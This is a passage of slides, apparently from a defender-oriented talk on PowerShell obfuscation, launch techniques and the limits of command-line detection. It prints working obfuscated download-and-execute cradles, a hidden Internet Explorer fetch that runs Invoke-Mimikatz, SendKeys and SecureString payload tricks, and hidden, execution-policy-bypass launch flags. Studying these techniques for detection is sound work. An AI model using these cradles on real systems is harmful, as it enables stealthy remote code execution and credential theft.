"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1. Aliases: Invoke-Expression / IEX
2. Order
1. IEX "Write-Host IEX Example -ForegroundColor Green"
2. "Write-Host IEX Example -ForegroundColor Green" | IEX
78. Obfuscation Example: (New-Object Net.WebClient)
.
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1. Aliases: Invoke-Expression / IEX
2. Order
3. Ticks
1. `I`E`X
2. `I`N`v`o`k`e`-`E`x`p`R`e`s`s`i`o`N
79. Obfuscation Example: (New-Object Net.WebClient)
.
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1. Aliases: Invoke-Expression / IEX
2. Order
3. Ticks
4. Splatting
1. & ('I'+'EX')
2. . ('I'+'EX')
80. Obfuscation Example: (New-Object Net.WebClient)
.
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1. Aliases: Invoke-Expression / IEX
2. Order
3. Ticks
4. Splatting
5. Invoke-Expression vs Invoke-Command
81. Obfuscation Example: (New-Object Net.WebClient)
• What's potentially problematic about "Invoke-Expression"???
1. Aliases: Invoke-Expression / IEX
2. Order
3. Ticks
4. Splatting
5. Invoke-Expression vs Invoke-Command
Cmdlet/Alias Example
Invoke-Command Invoke-Command {Write-Host ICM Example -ForegroundColor Green}
ICM ICM {Write-Host ICM Example -ForegroundColor Green}
.Invoke() {Write-Host ICM Example -ForegroundColor Green}.Invoke()
& & {Write-Host ICM Example -ForegroundColor Green}
. . {Write-Host ICM Example -ForegroundColor Green}
82. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression || IEX || Invoke-Command || ICM || .Invoke() || … "&" or "." ?!?!?
• So we add the Invoke-Command family to our arguments…
83. Obfuscation Example: (New-Object Net.WebClient)
• Invoke-Expression (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• Invoke-Expression || IEX || Invoke-Command || ICM || .Invoke() || … "&" or "." ?!?!?
• So we add the Invoke-Command family to our arguments…
• Don’t forget about PS 1.0 syntax!
• $ExecutionContext.InvokeCommand.InvokeScript({Write-Host SCRIPTBLOCK})
• $ExecutionContext.InvokeCommand.InvokeScript("Write-Host EXPRESSION")
84. Obfuscation Example: (New-Object Net.WebClient)
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• So we add the Invoke-Command family to our arguments…
• And add in ticks…
85. Obfuscation Example: (New-Object Net.WebClient)
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
86. Obfuscation Example: (New-Object Net.WebClient)
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
• Of course not, because we can convert strings to script blocks!
87. Obfuscation Example: (New-Object Net.WebClient)
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
• Of course not, because we can convert strings to script blocks!
• $scriptblock = [Scriptblock]::Create("Write-Host Script Block Conversion -ForegroundColor Green")
• $scriptblock = $ExecutionContext.InvokeCommand.NewScriptBlock("Write-Host Script Block Conversion -ForegroundColor Green")
• ^ PowerShell 1.0 syntax!
88. Obfuscation Example: (New-Object Net.WebClient)
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• `I`N`v`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
• Of course not, because we can convert strings to script blocks!
• $scriptblock = [Scriptblock]::Create("Write-Host Script Block Conversion -ForegroundColor Green")
• $scriptblock = $ExecutionContext.InvokeCommand.NewScriptBlock("Write-Host Script Block Conversion -ForegroundColor Green")
• ^ PowerShell 1.0 syntax!
Ways to obfuscate scriptblock conversion (PowerShell v1.0)
1. $ExecutionContext.InvokeCommand.NewScriptBlock("expression")
89. Obfuscation Example: (New-Object Net.WebClient)
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• `I`N`v`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
• Of course not, because we can convert strings to script blocks!
• $scriptblock = [Scriptblock]::Create("Write-Host Script Block Conversion -ForegroundColor Green")
• $scriptblock = $ExecutionContext.InvokeCommand.NewScriptBlock("Write-Host Script Block Conversion -ForegroundColor Green")
• ^ PowerShell 1.0 syntax!
Ways to obfuscate scriptblock conversion (PowerShell v1.0)
1. $a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";
$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")
1. Tick Member obfuscation
2. Ticks can be added to $ExecutionContext if curly braces are added
3. Command can be broken into multiple variables
4. Entire expression field can be chopped into substrings
90. Obfuscation Example: (New-Object Net.WebClient)
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• `I`N`v`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
• Of course not, because we can convert strings to script blocks!
• $scriptblock = [Scriptblock]::Create("Write-Host Script Block Conversion -ForegroundColor Green")
• $scriptblock = $ExecutionContext.InvokeCommand.NewScriptBlock("Write-Host Script Block Conversion -ForegroundColor Green")
• ^ PowerShell 1.0 syntax!
Ways to obfuscate scriptblock conversion (.Net version)
1. [Scriptblock]::Create("expression")
91. Obfuscation Example: (New-Object Net.WebClient)
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• `I`N`v`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
• Of course not, because we can convert strings to script blocks!
• $scriptblock = [Scriptblock]::Create("Write-Host Script Block Conversion -ForegroundColor Green")
• $scriptblock = $ExecutionContext.InvokeCommand.NewScriptBlock("Write-Host Script Block Conversion -ForegroundColor Green")
• ^ PowerShell 1.0 syntax!
Ways to obfuscate scriptblock conversion (.Net version)
1. ([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")
1. Entire expression field can be chopped into substrings
2. Quotes and ticks for Member token
3. Parentheses or variable + Invoke (then full-on string!)
4. Scriptblock can be type casted
1. [Scriptblock] equals [Type]"Scriptblock"
92. Obfuscation Example: (New-Object Net.WebClient)
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line arguments can we monitor for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) ||
• ("&" || ".") && (( { && } ) || (type || `S`c`r`i`p`t`b`l`o`c`k || `N`e`w`S`c`r`i`p`t``B`l`o`c`k ||
???))
93. Obfuscation Example: (New-Object Net.WebClient)
• . ((${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d").
"`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')))
….
• What process command line arguments can we monitor for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) ||
• ("&" || ".") && (( { && } ) || (type || `S`c`r`i`p`t`b`l`o`c`k || `N`e`w`S`c`r`i`p`t``B`l`o`c`k ||
???))
94. Obfuscation Example: (New-Object Net.WebClient)
• . ((${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d").
"`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')))
….
• What process command line arguments can we monitor for this?
• Nothing definitive, unless you're okay with extremely complicated Regex combinations
• And this is only for Net.WebClient! What other options exist?
95. Outline:
• Motivation
• Preparing Your Environment for Investigating
PowerShell
• Obfuscation Example: (New-Object Net.WebClient)
• Additional Methods for Remote Download
• More Obfuscation Techniques and Detection Attempts
• Uncommon Encoding/Decoding Techniques
• Launch Techniques
• Invoke-Obfuscation Demo
96. Additional Methods for Remote
Download
• Options for remote download in PowerShell:
• New-Object Net.WebClient
• PowerShell v3.0+
• Invoke-WebRequest / IWR
• Invoke-RestMethod / IRM
• .Net methods
• [System.Net.WebRequest]
• [System.Net.HttpWebRequest]
• [System.Net.FileWebRequest]
• [System.Net.FtpWebRequest]
IEX (New-Object System.IO.StreamReader
([Net.HttpWebRequest]::Create("$url").GetResponse()
.GetResponseStream())).ReadToEnd();
$readStream.Close(); $response.Close()
Default User-Agent string is:
Mozilla/5.0 (Windows NT; Windows NT 6.1; en-
US) WindowsPowerShell/3.0
97. Additional Methods for Remote
Download
• Obscure ways to download remote scripts especially if PowerShell.exe is being
monitored for making network connections
Sysmon EID 3: Network
Connection
98. Additional Methods for Remote
Download
• Obscure ways to download remote scripts especially if PowerShell.exe is being
monitored for making network connections
99. Additional Methods for Remote
Download
• Obscure ways to download remote scripts especially if PowerShell.exe is being
monitored for making network connections
100. Additional Methods for Remote
Download
• Obscure ways to download remote scripts especially if PowerShell.exe is being
monitored for making network connections
101. Additional Methods for Remote
Download
• Obscure ways to download remote scripts especially if PowerShell.exe is being
monitored for making network connections
102. Additional Methods for Remote
Download
• How can we do this in an automated fashion?
• How can we get this from Notepad into PowerShell?
PowerShell SendKeys!
103. Additional Methods for Remote
Download
• PowerShell SendKeys (downloading remote code via Notepad.exe)
• $wshell = New-Object -ComObject wscript.shell
$wshell.run("notepad")
$wshell.AppActivate('Untitled - Notepad')
Start-Sleep 2
$wshell.SendKeys('^o')
Start-Sleep 2
$wshell.SendKeys('https://bit.ly/L3g1t')
$wshell.SendKeys('~')
Start-Sleep 5
$wshell.SendKeys('^a')
$wshell.SendKeys('^c')
# Execute contents in clipboard back in PowerShell process
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
$clipboardContents = [System.Windows.Forms.Clipboard]::GetText()
$clipboardContents | powershell -
Simulates interactive prompt, so Enter
can be used instead of Invoke-Expression
or Invoke-Command
105. Additional Methods for Remote
Download
• SendKeys approach works with almost any application with GUI Open File
functionality:
• Notepad
• Wordpad
• Winword
• Excel
• PowerShell_ISE
106. Additional Methods for Remote
Download
• SendKeys is fun but sloppy. What other options exists?
Com Objects (MsXml2.XmlHttp & InternetExplorer.Application)
$url = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-
Mimikatz.ps1"
$objIE = New-Object -Com InternetExplorer.Application
While($objIE.Busy) {Start-Sleep -Seconds 1}
$objIE.Visible = $false
$objIE.Navigate($url)
While($objIE.Busy) {Start-Sleep -Seconds 1}
IEX $objIE.Document.Body.InnerText; Invoke-Mimikatz
IExplore is potentially the cleanest method. Nothing hits disk, blends in
with regular user browsing activity, and uses target system’s User Agent.
107. Outline:
• Motivation
• Preparing Your Environment for Investigating
PowerShell
• Obfuscation Example: (New-Object Net.WebClient)
• Additional Methods for Remote Download
• More Obfuscation Techniques and Detection Attempts
• Uncommon Encoding/Decoding Techniques
• Launch Techniques
• Invoke-Obfuscation Demo
108. More Obfuscation Techniques and Detection Attempts
• Additional command line obfuscation techniques via string manipulation
• Treat entire PowerShell command as a string and then manipulate at a string
level
• Reverse string
• Split string
• Replace/Reorder string
• Concatenate string
109. More Obfuscation Techniques and Detection Attempts
• Additional command line obfuscation techniques via string manipulation
• Reverse string: $reverseCmd = ")'t1g3L/yl.tib//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
1. Traverse the string in reverse and join it back together
IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX
2. Cast string to char array and use .Net function to reverse and then join it back together
$reverseCmdCharArray = $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray);
IEX ($reverseCmdCharArray -Join '') | IEX
3. .Net Regex the string RightToLeft and then join it back together
IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX
SUPPLEMENTAL
110. More Obfuscation Techniques and Detection Attempts
• Additional command line obfuscation techniques via string manipulation
• Reverse string
• Split string: $cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://bi~~t.ly/L3g1t')";
1. Split the string on the delimiter and join it back together
IEX ($cmdWithDelim.Split("~~") -Join '') | IEX
SUPPLEMENTAL
111. More Obfuscation Techniques and Detection Attempts
• Additional command line obfuscation techniques via string manipulation
• Reverse string
• Split string:
• Replace string: $cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://bi~~t.ly/L3g1t')";
1. PowerShell's .Replace
IEX $cmdWithDelim.Replace("~~","") | IEX
2. .Net's -Replace (and -CReplace which is case-sensitive replace)
IEX ($cmdWithDelim -Replace "~~","") | IEX
3. PowerShell's -f format operator
IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}bit.ly/L3g1t")' -f 'Ne', 'Download','https://') | IEX
SUPPLEMENTAL
113. More Obfuscation Techniques and Detection Attempts
• Detecting some of these obfuscation techniques
• Look for presence of some of these string manipulation functions
• Reverse, Split, Replace, Concat, -f format operator
• Look for high count of certain characters
• $ (for setting/referencing variables)
$c1="com"; $c2="mand"; $c3=" goes here" Set-Variable/SV/Set and Get-Variable/Variable/GV
• ; (for executing multiple commands)
$c1="com"; $c2="mand"; $c3=" goes here" 1 | % {cmd1} {cmd2} {cmd3}
• + (for concatenating strings)
$c1+$c2+$c3 "$c1$c2$c3"
• You can also substitute chars with [char] (so ; is [char]59)
$cmd = "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",[string]([char]59)) | IEX
114. Outline:
• Motivation
• Preparing Your Environment for Investigating
PowerShell
• Obfuscation Example: (New-Object Net.WebClient)
• Additional Methods for Remote Download
• More Obfuscation Techniques and Detection Attempts
• Uncommon Encoding/Decoding Techniques
• Launch Techniques
• Invoke-Obfuscation Demo
116. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• Copy/Pasted by toolsmiths, scriptkiddies, and hackers alike
• "cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
• powershell -ep bypass -enc <Paste in the Encoded Text>
• powershell.exe -NoP -NonI -W Hidden -Enc <base64 encoded command>
-NoP (-NoProfile)
-NonI (-NonInteractive)
-NoL (-NoLogo)
-W Hidden (-WindowStyle Hidden)
-EP Bypass (-ExecutionPolicy Bypass)
117. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• Copy/Pasted by toolsmiths, scriptkiddies, and hackers alike
• "cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
• powershell -ep bypass -enc <Paste in the Encoded Text>
• powershell.exe -NoP -NonI -W Hidden -Enc <base64 encoded command>
-NoP (-NoProfile)
-NonI (-NonInteractive)
-NoL (-NoLogo)
-W Hidden (-WindowStyle Hidden)
-EP Bypass (-ExecutionPolicy Bypass)
-WindowStyle Hidden
1. -W Hidden
2. -Win Hidden
3. -Window
Hidden
-ExecutionPolicy
Bypass/Unrestricted
1. -EP Bypass
2. -Exec Bypass
3. -Execution Bypass
-EncodedCommand
1. -E
2. -Enc
3. -Encoded
118. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• Copy/Pasted by toolsmiths, scriptkiddies, and hackers alike
• "cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
• powershell -ep bypass -enc <Paste in the Encoded Text>
• powershell.exe -NoP -NonI -W Hidden -Enc <base64 encoded command>
-NoP (-NoProfile)
-NonI (-NonInteractive)
-NoL (-NoLogo)
-W Hidden (-WindowStyle Hidden)
-EP Bypass (-ExecutionPolicy Bypass)
Can also by set/bypassed via:
1. PowerShell's AuthorizationManager
2. HKLMSOFTWAREMicrosoftPowerShell1
ShellIdsMicrosoft.PowerShellExecutionP
olicy
-WindowStyle Hidden
1. -W Hidden
2. -Win Hidden
3. -Window
Hidden
-ExecutionPolicy
Bypass/Unrestricted
1. -EP Bypass
2. -Exec Bypass
3. -Execution Bypass
-EncodedCommand
1. -E
2. -Enc
3. -Encoded
SUPPLEMENTAL
119. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• -EncodedCommand
• -Encoded
• -Enc
• -EC
• -E
Are these indicators sufficient?
1. " -EncodedCommand "
2. " -Encoded "
3. " -Enc "
4. " -EC "
5. " -E "
120. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• -EC
• -EncodedCommand
121. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• -EC
• -EncodedCommand
• -EncodedComman
122. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• -EC
• -EncodedCommand
• -EncodedComman
• -EncodedComma
123. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• -EC
• -EncodedCommand
• -EncodedComman
• -EncodedComma
• -EncodedComm
• -EncodedCom
• -EncodedCo
• -EncodedC
• -Encoded
• -Encode
• -Encod
• -Enco
• -Enc
• -En
• -E
PowerShell auto-appends * to flags
-NoP (-NoProfile)
-NonI (-NonInteractive)
-NoL (-NoLogo)
124. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• .Net's Base64 methods
• ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encodedCommand)))
• sal a New-Object; IEX(a IO.StreamReader((a
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($encodedCommand),[I
O.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
125. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• .Net's Base64 methods
• Different ways of encoding…ASCII/hex/octal/binary/BXOR/etc.
• [Convert]::ToString(1234, 2)
• [Convert]::ToString(1234, 8)
• [Convert]::ToString(1234, 16)
• "{0:X4}" -f 1234
• [Byte][Char]([Convert]::ToInt16($_,16))
• ($cmd.ToCharArray() | % {[int]$_}) -Join $delim (whitespace unnecessary: )-Join$delim)
• $bytes[$i] = $bytes[$i] -BXOR 0x6A (whitespace unnecessary: $bytes[$i]-BXOR0x6A)
When used on command line these are
constrained by a limit of 8,191 characters.
https://support.microsoft.com/en-us/kb/830473
126. Uncommon Encoding/Decoding Techniques
• So what are hackers actually using to obfuscate their PowerShell activity?
• PowerShell's -EncodedCommand
• .Net's Base64 methods
• Different ways of encoding…ASCII/hex/octal/binary/BXOR/etc.
• Storing PowerShell command/script in a SecureString password object
127. Uncommon Encoding/Decoding Techniques
• How about a different way for encoding in PowerShell…
• Passwords in PowerShell? SecureString! (since PS 1.0)
http://www.adminarsenal.com/admin-arsenal-blog/secure-password-with-powershell-encrypting-credentials-part-1/
http://www.adminarsenal.com/admin-arsenal-blog/secure-password-with-powershell-encrypting-credentials-part-2/
SUPPLEMENTAL
128. Uncommon Encoding/Decoding Techniques
• How about a different way for encoding in PowerShell…
• Passwords in PowerShell? SecureString! (since PS 1.0)
• $secPwd = Read-Host "Enter password" -AsSecureString
• $secPwd = "password" | ConvertTo-SecureString -AsPlainText -Force
SUPPLEMENTAL
129. Uncommon Encoding/Decoding Techniques
• How about a different way for encoding in PowerShell…
• Passwords in PowerShell? SecureString! (since PS 1.0)
• $secPwd = Read-Host "Enter password" -AsSecureString
• $secPwd = "password" | ConvertTo-SecureString -AsPlainText -Force
• $secPwdPlaintext = $secPwd | ConvertFrom-SecureString
• So when no key is specified then the user and computername are used as the key, so this
SecureString should only be able to reasonably be decrypted on the same system by the
same user (or any process running under this user context).
SUPPLEMENTAL
130. Uncommon Encoding/Decoding Techniques
• How about a different way for encoding in PowerShell…
• Passwords in PowerShell? SecureString! (since PS 1.0)
• However, when a key is specified (byte array or SecureString) then the value is always the
same on any system/user combination as long as you have the same key.
• So a password I SecureString with key (1..16) on my system you can successfully un-
SecureString on your system as long as you also have key (1..16).
• Size restriction on SecureString? 65,536 characters!
So massive password…
or perhaps an entire script?
SUPPLEMENTAL
131. Uncommon Encoding/Decoding Techniques
• How about a different way for encoding in PowerShell…
• What if I don't care about SecureString for securing passwords but want to use it strictly
for encoding/decoding full commands/scripts?
• $cmd = "IEX (IWR $url).Content"
$secCmd = ConvertTo-SecureString $cmd -AsPlainText -Force
$secCmdPlaintext = $secCmd | ConvertFrom-SecureString -Key (1..16)
• (on target system)
$secCmd = $secCmdPlaintext | ConvertTo-SecureString -Key (1..16)
([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServ
ices.Marshal]::SecureStringToBSTR($secCmd))) | IEX
132. Outline:
• Motivation
• Preparing Your Environment for Investigating
PowerShell
• Obfuscation Example: (New-Object Net.WebClient)
• Additional Methods for Remote Download
• More Obfuscation Techniques and Detection Attempts
• Uncommon Encoding/Decoding Techniques
• Launch Techniques
• Invoke-Obfuscation Demo
133. Launch Techniques
• So let’s assume your Regex is great
• Applied to every execution of powershell.exe
• Any problems here?
134. Launch Techniques
• So let’s assume your Regex is great
• Applied to every execution of powershell.exe
• Any problems here?
1. Unmanaged PowerShell (PowerShell w/o powershell.exe)
1. Loading of System.Management.Automation.dll
2. (still shows up in Scriptblock and Module logging)
2. Convoluted LAUNCH techniques for powershell.exe
135. Launch Techniques
• powershell /? provides us with a fun syntax for abstracting command line
arguments via standard input.
137. Launch Techniques
• powershell.exe called by cmd.exe
• cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
138. Launch Techniques
• powershell.exe called by cmd.exe
• cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
139. Launch Techniques
• powershell.exe called by cmd.exe
..
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
140. Launch Techniques
• powershell.exe called by cmd.exe
..
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
141. Launch Techniques
• powershell.exe called by cmd.exe
..
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
Is it safe to key off of cmd.exe with arguments "| powershell *"??
Of course not! "powershell" can be set and called as variables in cmd.exe
cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|
%p1%%p2% - "
SUPPLEMENTAL
142. • powershell.exe called by cmd.exe
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
• cmd.exe /c "set cmd=Write-Host ENV -Fore Green&& powershell IEX $env:cmd"
Launch Techniques
Already seen in the wild. Javascript sets PowerShell command in environment
variable and then PowerShell retrieves and executes it.
http://blog.airbuscybersecurity.com/post/2016/03/FILELESS-MALWARE-%E2%80%93-A-
BEHAVIOURAL-ANALYSIS-OF-KOVTER-PERSISTENCE
143. Launch Techniques
• powershell.exe called by cmd.exe
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
• cmd.exe /c "set cmd=Write-Host ENV -Fore Green&& powershell IEX $env:cmd"
Can also use .Net function or GCI/dir or Get-Variable:
[Environment]::GetEnvironmentVariable('cmd', 'Process')
(Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value
Get-Variable/Variable/GV cmd -ValueOnly (-V thru –ValueOnly)
(Get-Variable/Variable/GV cmd).Value
SUPPLEMENTAL
147. Launch Techniques
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
